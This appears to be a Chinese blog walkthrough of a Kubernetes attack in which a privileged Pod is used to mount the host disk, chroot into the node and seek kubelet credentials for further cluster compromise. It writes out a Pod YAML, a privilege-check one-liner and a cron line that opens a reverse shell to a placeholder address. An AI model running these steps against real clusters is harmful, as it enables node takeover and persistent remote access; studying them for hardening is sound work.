K8s攻击案例:Privileged特权容器导致节点沦陷

01、概述

特权容器(Privileged Container)是一种比较特殊的容器,在K8s中运行特权容器,需要将 Privileged 设为 true ,容器可以执行几乎所有可以直接在主机上执行的操作。

基于此,利用容器的特权配置可以获取容器所在节点的权限,甚至从节点权限提升至集群管理员权限。

02、攻击场景

编写yaml文件,在securityContext中加入参数,将privileged设置为true,使用特权模式运行Pod。

4eca78bef75e5b63a62d936c111890c9.png

yaml文件内容:

apiVersion: v1
kind: Pod
metadata:
  name: pod1
spec:
  containers:
  - image: nginx
    name: pod1
    command: ['/bin/sh','-c','sleep 24h'] 
    securityContext:
      privileged: true

02、攻击过程

(1) 判断是否特权模式

在容器中可以使用命令检测当前容器是否以特权容器启动,CapEff对应的掩码值在centos中为 0000001fffffffff ,在ubuntu中为0000003fffffffff。

基于以上,可以简单的通过一行命令,如果返回的是Yes说明当前是特权模式,如果返回No则不是。

cat /proc/self/status |grep -qi "0000001fffffffff" && echo "Yes" || echo "No"

5c3db377d27756fabb9312add7e8e182.png

(2)查看当前磁盘分区情况,获取宿主机分区

547afb6dc61b0e0431f126a1eddf9225.png

(3)将宿主机目录挂载到容器里,chroot进入宿主机系统,获取宿主机的权限。

ce99294b3fee615a0ad96f191c718d4a.png

(4)此时,也可以使用计划任务反弹shell。

echo '* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/12345 0>&1' >> /var/spool/cron/root

e3c38e7ac7b6aa06ccc07fa8d85c2e0c.png

(5)在Node节点上查找kubelet配置文件,一般情况下,开启了NodeRestriction准入插件,kubelet证书可用来查看pod信息,但是不能创建Pod。下载kubecrl命令行工具, 收集信息为进一步攻击K8s集群提供必要的条件。

f4a86b78ec4732672f9130480d7a69ae.png

相关推荐

  1. k8s修改/etc/resolve.conf导致容器域名解析失败

    2023-12-21 21:12:03       32 阅读

最近更新

  1. TCP协议是安全的吗?

    2023-12-21 21:12:03       19 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-21 21:12:03       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-21 21:12:03       20 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-21 21:12:03       20 阅读

热门阅读

  1. 启山智软丨机器学习的基础内容

    2023-12-21 21:12:03       51 阅读
  2. 项目架构演进过程

    2023-12-21 21:12:03       41 阅读
  3. 位运算:Leetcode371.两整数之和

    2023-12-21 21:12:03       36 阅读
  4. CCF编程能力等级认证GESP—C++4级—20230611

    2023-12-21 21:12:03       47 阅读
  5. Atcoder ABC179

    2023-12-21 21:12:03       33 阅读
  6. 支持向量机SVM

    2023-12-21 21:12:03       33 阅读